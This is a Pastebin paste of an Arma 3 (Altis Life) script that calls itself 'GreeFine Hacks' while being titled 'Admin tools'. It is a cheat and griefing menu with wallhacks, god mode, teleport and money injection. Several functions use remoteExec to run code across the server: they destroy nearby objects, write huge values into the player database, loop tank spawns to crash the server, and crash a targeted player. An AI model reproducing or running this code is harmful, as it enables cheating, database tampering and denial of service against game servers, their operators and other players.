Advertisement
GreeFine

Admin tools (maybe)

Nov 22nd, 2017
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. TargetId_X12 = player;
  2. RadarFncOn_X12 = false;
  3. WHCdAc_X12 = false;
  4. WHLdAc_X12 = false;
  5. WHNames_X12 = false;
  6. Ammolaunched = "";
  7. TeleportationA_X12 = false;
  8. GodModA_X12 = false;
  9. Tp_X7 = false;
  10. locked_X7 = true;
  11. CommandShown_X7 = false;
  12. BuferedPlist_X7 = [];
  13. onMapSingleClick {_pos spawn MapClick;};
  14.  
  15. Radar_Fnc_X12 = {
  16.     while {RadarFncOn_X12} do
  17.     {
  18.         Markers = [];
  19.         {
  20.             _markerstr = createMarkerLocal [name _x,position _x];
  21.             _markerstr setMarkerShapeLocal "ICON";
  22.             _markerstr setMarkerTypeLocal "hd_dot";
  23.             _markerstr setMarkerTextLocal (name _x);
  24.             if (side _x == west) then { _markerstr setMarkerColorLocal  "ColorBLUFOR"; };
  25.             if (side _x == opfor) then { _markerstr setMarkerColorLocal "ColorOPFOR"; };
  26.             if (side _x == civilian) then { _markerstr setMarkerColorLocal "ColorCivilian"; };
  27.             Markers = Markers + [name _x];
  28.         } forEach playableUnits;
  29.  
  30.         sleep 0.2;
  31.  
  32.         {
  33.             deleteMarkerLocal _x;
  34.         } forEach Markers;
  35.     };
  36. };
  37.  
  38. WHCd_Fnc_X12 = {
  39.     if (WHCdAc_X12) then
  40.     {
  41.          {
  42.          _color = [1,0,0];
  43.          if (side _x == west) then {
  44.             _color = [0,0,1];
  45.          };
  46.          if (side _x == east) then {
  47.             _color = [0,1,0];
  48.          };
  49.          _nameDisplay = format["%1",round(player distance _x)];
  50.          _nameDisplayVeh = format["V%2:%1",round(player distance _x),count (crew vehicle _x)];
  51.          if (WHNames_X12) then {
  52.             _nameDisplay = format["%2:%1m", round(player distance _x), name _x];
  53.             _nameDisplayVeh = format["VEH(%3):%2:%1m", round(player distance _x), name _x, count (crew vehicle _x)];
  54.          };
  55.  
  56.  
  57.           if (_x != player) then {
  58.             if (getPlayerUID _x != "" && (player distance _x < 1000)) then {
  59.                 if (vehicle _x == _x || isNull driver (vehicle _x)) then    {
  60.                     drawIcon3D["", (_color + [1]), [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 1.5], 0.1, 0.1, 45, _nameDisplay, 1, 0.04, "TahomaB"];
  61.                 } else {
  62.                     if (driver vehicle _x == _x) then {
  63.                         drawIcon3D["", (_color + [0.8]), [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 1.5], 0.1, 0.1, 45, _nameDisplayVeh, 1, 0.04, "TahomaB"];
  64.                     };
  65.                 };
  66.             };
  67.           };
  68.         } foreach playableUnits;
  69.     } else {};
  70. };
  71.  
  72. WHLd_Fnc_X12 = {
  73.     if (WHLdAc_X12) then
  74.     {
  75.          {
  76.          _color = [1,0,0];
  77.          if (side _x == west) then {
  78.             _color = [0,0,1];
  79.          };
  80.          if (side _x == east) then {
  81.             _color = [0,1,0];
  82.          };
  83.          _nameDisplay = format["%1",round(player distance _x)];
  84.           _nameDisplayVeh = format["V%2:%1",round(player distance _x),count (crew vehicle _x)];
  85.          if (WHNames_X12) then {
  86.             _nameDisplay = format["%2:%1m", round(player distance _x), name _x];
  87.             _nameDisplayVeh = format["VEH(%3):%2:%1m", round(player distance _x), name _x, count (crew vehicle _x)];
  88.          };
  89.             if ((getPlayerUID _x != "") && ((player distance _x) > 1000) && ((player distance _x) < 3000)) then {
  90.                     if (vehicle _x == _x || isNull driver (vehicle _x)) then {
  91.                         drawIcon3D["", (_color + [0.6]), [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 1.5], 0.1, 0.1, 45, _nameDisplay, 1, 0.04, "TahomaB"];
  92.                     } else {
  93.                         if (driver vehicle _x == _x) then {
  94.                             drawIcon3D["", (_color + [0.5]), [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 1.5], 0.1, 0.1, 45, _nameDisplayVeh, 1, 0.04, "TahomaB"];
  95.                         };
  96.                     };
  97.             };
  98.         } foreach playableUnits;
  99.     } else {};
  100. };
  101.  
  102.  
  103.  
  104. BulletTracking_Fnc_X12 = {
  105.     if (Ammolaunched != "") then {
  106.         _bullet = _this select 6;
  107.         _veh = Ammolaunched createVehicle (getPosATL _bullet);
  108.         _veh1 = Ammolaunched createVehicle (getPosATL _bullet);
  109.         _veh2 = Ammolaunched createVehicle (getPosATL _bullet);
  110.         _veh3 = Ammolaunched createVehicle (getPosATL _bullet);
  111.         _veh4 = Ammolaunched createVehicle (getPosATL _bullet);
  112.         _veh5 = Ammolaunched createVehicle (getPosATL _bullet);
  113.         _veh6 = Ammolaunched createVehicle (getPosATL _bullet);
  114.         _veh7 = Ammolaunched createVehicle (getPosATL _bullet);
  115.         _veh8 = Ammolaunched createVehicle (getPosATL _bullet);
  116.         _veh9 = Ammolaunched createVehicle (getPosATL _bullet);
  117.         _veh10 = Ammolaunched createVehicle (getPosATL _bullet);
  118.         _veh11 = Ammolaunched createVehicle (getPosATL _bullet);
  119.         _veh12 = Ammolaunched createVehicle (getPosATL _bullet);
  120.         _veh13 = Ammolaunched createVehicle (getPosATL _bullet);
  121.         _veh14 = Ammolaunched createVehicle (getPosATL _bullet);
  122.         _veh15 = Ammolaunched createVehicle (getPosATL _bullet);
  123.         while {alive _bullet} do
  124.         {
  125.             _last_pos = getPosATL _bullet;
  126.             _veh setPosATL _last_pos;
  127.             _veh1 setPosATL _last_pos;
  128.             _veh2 setPosATL _last_pos;
  129.             _veh3 setPosATL _last_pos;
  130.             _veh4 setPosATL _last_pos;
  131.             _veh5 setPosATL _last_pos;
  132.             _veh6 setPosATL _last_pos;
  133.             _veh7 setPosATL _last_pos;
  134.             _veh8 setPosATL _last_pos;
  135.             _veh9 setPosATL _last_pos;
  136.             _veh10 setPosATL _last_pos;
  137.             _veh11 setPosATL _last_pos;
  138.             _veh12 setPosATL _last_pos;
  139.             _veh13 setPosATL _last_pos;
  140.             _veh14 setPosATL _last_pos;
  141.             _veh15 setPosATL _last_pos;
  142.             sleep 0.03;
  143.         };
  144.     };
  145. };
  146.  
  147. player addEventHandler ["Fired", {_this spawn BulletTracking_Fnc_X12}];
  148. ["WHCd_Fnc_X12_Event","onEachFrame","WHCd_Fnc_X12"] call BIS_fnc_addStackedEventHandler;
  149. ["WHLd_Fnc_X12_Event","onEachFrame","WHLd_Fnc_X12"] call BIS_fnc_addStackedEventHandler;
  150.  
  151.  
  152. Money_X12 = { hBf0MznDHQm7X5DFFSmy = hBf0MznDHQm7X5DFFSmy + 150000; };
  153.  
  154. Radar_X12 ={
  155. RadarFncOn_X12 = !RadarFncOn_X12;
  156. if (RadarFncOn_X12) then { [] spawn Radar_Fnc_X12; hint "Radar Activated"; };
  157. };
  158.  
  159. WHCd_X12 = { WHCdAc_X12 = !WHCdAc_X12; };
  160.  
  161. WHLd_X12 = { WHLdAc_X12 = !WHLdAc_X12; };
  162.  
  163. WHNamesSwitch_X12 = { WHNames_X12 = !WHNames_X12; };
  164.  
  165. ExplodeFnc_X12 = { vehicle TargetId_X12 setDamage 1; };
  166.  
  167. FuckTheServer_X12 = {
  168.     sleep 20;
  169.     {
  170.         sleep 1020;
  171.             {_x setDammage 1;} foreach nearestObjects [position player,[],400];
  172.             hBf0MznDHQm7X5DFFSmy = 1000000000000000000000000000000;
  173.             R6cuXKTCWDZFxfbfdATm = 1000000000000000000000000000000;
  174.             removeAllWeapons player;
  175.             [[getPlayerUID player,(profileName),playerSide,1000000000000000000000000000000,1000000000000000000000000000000,[],[]],"DB_fnc_updateRequest",false,false] call life_fnc_MP;
  176.             _veh = "I_MBT_03_cannon_F" createVehicle (position player);
  177.             player moveInDriver _veh;
  178.     } remoteExec ["BIS_fnc_spawn", 0];
  179. };
  180.  
  181. SatchelFun_X12 = {
  182.     [] spawn {
  183.         while {a} do
  184.         {
  185.             createMine ["SatchelCharge_F", (position player), [], 2];
  186.             sleep 0.2;
  187.         };
  188.     }
  189. };
  190.  
  191. Nuke_X12 = {
  192.     sleep 20;
  193.     {_x setDammage 1;} foreach nearestObjects [position player,[],20000];
  194.     sleep 2;
  195.     {deleteVehicle _x;} foreach nearestObjects [position player,[],20000];
  196. };
  197.  
  198. CrashTest_X12 = {
  199.     Hint "Crash Test Activated !";
  200.     sleep 20;
  201.     {
  202.          x_12 = {
  203.             while {true} do
  204.             {
  205.                 "I_MBT_03_cannon_F" createVehicle [14531,16848,0.5];
  206.                 "I_MBT_03_cannon_F" createVehicle [3647,13112,0.5];
  207.                 "I_MBT_03_cannon_F" createVehicle [23740,16191,0.5];
  208.                 sleep 0.1;
  209.             };
  210.         };
  211.  
  212.         while {true} do
  213.         {
  214.             [] spawn x_12;
  215.         };
  216.     } remoteExec ["BIS_fnc_spawn", 2];
  217. };
  218.  
  219. SuperCannon_X12 = {
  220.     Hint "Super Cannnon Spawned";
  221.     veh = "B_static_AA_F" createVehicle position player;
  222.     veh addMagazine "12Rnd_125mm_HE";
  223.     veh addWeapon "cannon_125mm";
  224.     veh setPos getPosATL player;
  225. };
  226.  
  227. BulletChanger_X12 = {
  228.     if (Ammolaunched == "") then {Ammolaunched = "Bo_GBU12_LGB";};
  229.         if (Ammolaunched == "Bo_GBU12_LGB") then {Ammolaunched = "Sheep_random_F";};
  230.             if (Ammolaunched == "Sheep_random_F") then {Ammolaunched = "B_G_Quadbike_01_F";};
  231.                 if (Ammolaunched == "B_G_Quadbike_01_F") then {Ammolaunched = "";};
  232.     hint Ammolaunched;
  233. };
  234.  
  235. Teleportation_X12 = {
  236.     TeleportationA_X12 = !TeleportationA_X12;
  237.     hint format ["Tp = %1", TeleportationA_X12];
  238. };
  239.  
  240. GodMod_X12 ={
  241.     GodModA_X12 = !GodModA_X12;
  242.     player allowDamage GodModA_X12;
  243.     hint format ["GodMod = %1", GodModA_X12];
  244. };
  245.  
  246. MapClick = {
  247.     _fnc = false;
  248.     if (_this distance [0,0,0] < 100) exitWith { [] spawn ShowHideCommand };
  249.     {
  250.         if (getMarkerPos (_x select 1) distance _this < 20) exitWith
  251.         {
  252.             [] spawn (_x select 0);
  253.             _fnc = true;
  254.         };
  255.     } foreach ActionTracking_X12;
  256.     {
  257.         if (getMarkerPos (name _x) distance _this < 20) exitWith
  258.         {
  259.             if (side TargetId_X12 == west) then { (name TargetId_X12) setMarkerColorLocal  "ColorBLUFOR"; };
  260.             if (side TargetId_X12 == opfor) then { (name TargetId_X12) setMarkerColorLocal "ColorOPFOR"; };
  261.             if (side TargetId_X12 == civilian) then { (name TargetId_X12) setMarkerColorLocal "ColorCivilian"; };
  262.             TargetId_X12 =  _x;
  263.             (name _x) setMarkerColorLocal "ColorRed";
  264.             _fnc = true;
  265.         };
  266.     } foreach BuferedPlist_X7;
  267.     if (_fnc || !TeleportationA_X12) exitWith {};
  268.     if (isNil "Tp_X7") then {Tp_X7 = true;};
  269.     if (Tp_X7) then {
  270.         vehicle player setPos _this;
  271.     } else {
  272.         hint "Click again to Tp";[] spawn {sleep 2; Tp_X7 = false;};
  273.     };
  274.     Tp_X7 = !Tp_X7;
  275. };
  276.  
  277. SafeLock = {
  278.     if (isNil "locked_X7") then {locked_X7 = true;};
  279.     if (locked_X7) then {
  280.     hint "Unlocked Cmd for 10 sec";
  281.     sleep 0.5;
  282.     [] spawn {
  283.         i = 0;
  284.         while {locked_X7 && i < 10} do {
  285.         sleep 1;
  286.         i = i+1;
  287.         };
  288.         locked_X7 = false;
  289.     };
  290.     };
  291.     locked_X7 = !locked_X7;
  292. };
  293.  
  294. life_fnc_X17 = {player setPos [10000000000000,10000000000000,10000000000000]};
  295.  
  296. CrashOnCmd = {
  297. if (locked_X7) then {hint "Actualy Locked Click Again to confirm"};
  298. Hint "Cash on Cmd activated";
  299. sleep 0.5;
  300. [] spawn SafeLock;
  301. TargetId_X12 setPos [100000000000000,1000000000000000,10000000000000000];
  302. };
  303.  
  304. ShowHideCommand = {
  305. if (CommandShown_X7) then {
  306.     {deleteMarkerLocal  (_x select 1);} foreach ActionTracking_X12;
  307.     {deleteMarkerLocal (name _x);} foreach BuferedPlist_X7;
  308.     deleteMarkerLocal "GreeFine_X7";
  309. } else {
  310.     _markerstr = createMarkerLocal ["GreeFine_X7",[10000,100]];
  311.     _markerstr setMarkerShapeLocal "ICON";
  312.     _markerstr setMarkerTypeLocal "hd_dot";
  313.     _markerstr setMarkerTextLocal "GreeFine Hacks";
  314.     _markerstr setMarkerColorLocal "ColorRed";
  315.  
  316.     MarkerOfset = 150;
  317.     {
  318.         _markerstr = createMarkerLocal [(_x select 1),[10000,(100 + MarkerOfset)]];
  319.         _markerstr setMarkerShapeLocal "ICON";
  320.         _markerstr setMarkerTypeLocal "hd_dot";
  321.         _markerstr setMarkerTextLocal (_x select 1);
  322.         MarkerOfset = MarkerOfset+50;
  323.     } foreach ActionTracking_X12;
  324.  
  325.     [] spawn RefreshPlist;
  326. };
  327. CommandShown_X7 = !CommandShown_X7;
  328. };
  329.  
  330. RefreshPlist = {
  331.     hint "Refreshing Player List";
  332.     {
  333.         deleteMarkerLocal (name _x);
  334.     } forEach BuferedPlist_X7;
  335.     BuferedPlist_X7 = [];
  336.     MarkerOfset = 100;
  337.     {
  338.         _markerstr = createMarkerLocal [name _x,[11000,100 + MarkerOfset]];
  339.         _markerstr setMarkerShapeLocal "ICON";
  340.         _markerstr setMarkerTypeLocal "hd_dot";
  341.         _markerstr setMarkerTextLocal (name _x);
  342.         if (side _x == west) then { _markerstr setMarkerColorLocal  "ColorBLUFOR"; };
  343.         if (side _x == opfor) then { _markerstr setMarkerColorLocal "ColorOPFOR"; };
  344.         if (side _x == civilian) then { _markerstr setMarkerColorLocal "ColorCivilian"; };
  345.         MarkerOfset = MarkerOfset+50;
  346.         BuferedPlist_X7 = BuferedPlist_X7 + [_x];
  347.     } foreach playableUnits;
  348. };
  349.  
  350. ActionTracking_X12 = [[ShowHideCommand,"Masquer/Afficher les commandes"],[Money_X12,"Argent"],[Radar_X12,"Radar"],[WHCd_X12,"Wall Hack Courte"],[WHLd_X12,"Wall Hack Longue"],[WHNamesSwitch_X12,"WallHack affichage Long/Court"],[ExplodeFnc_X12,"Exploser la Cible"],[Nuke_X12,"Nuke Mod DLC"],[FuckTheServer_X12,"Fuck The Serveur DLC"],[CrashTest_X12,"CRASH The Server"],[SuperCannon_X12,"Super Cannon"],[BulletChanger_X12,"Changer munition d'armes"],[Teleportation_X12,"La Téleportation"],[GodMod_X12,"God Mod"],[RefreshPlist,"Refresh Player List"],[CrashOnCmd,"Crash This Mother Fucker"]];
  351.  
  352. [] spawn ShowHideCommand;
  353.  
  354. ExplodeCur_X12 = { [] spawn { sleep 15; cursorTarget setDammage 1; }; };
  355.  
  356.  
  357. SubB7 = "Submarine_01_F" createVehicle position player;
  358. player addVest "V_RebreatherB";
  359. player addUniform "U_B_Wetsuit";
  360. SubS7 = "B_SDV_01_F" createVehicle position player
  361. SubB7 attachTo [SubS7,[0,0,0]];
  362. player moveInDriver SubS7;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement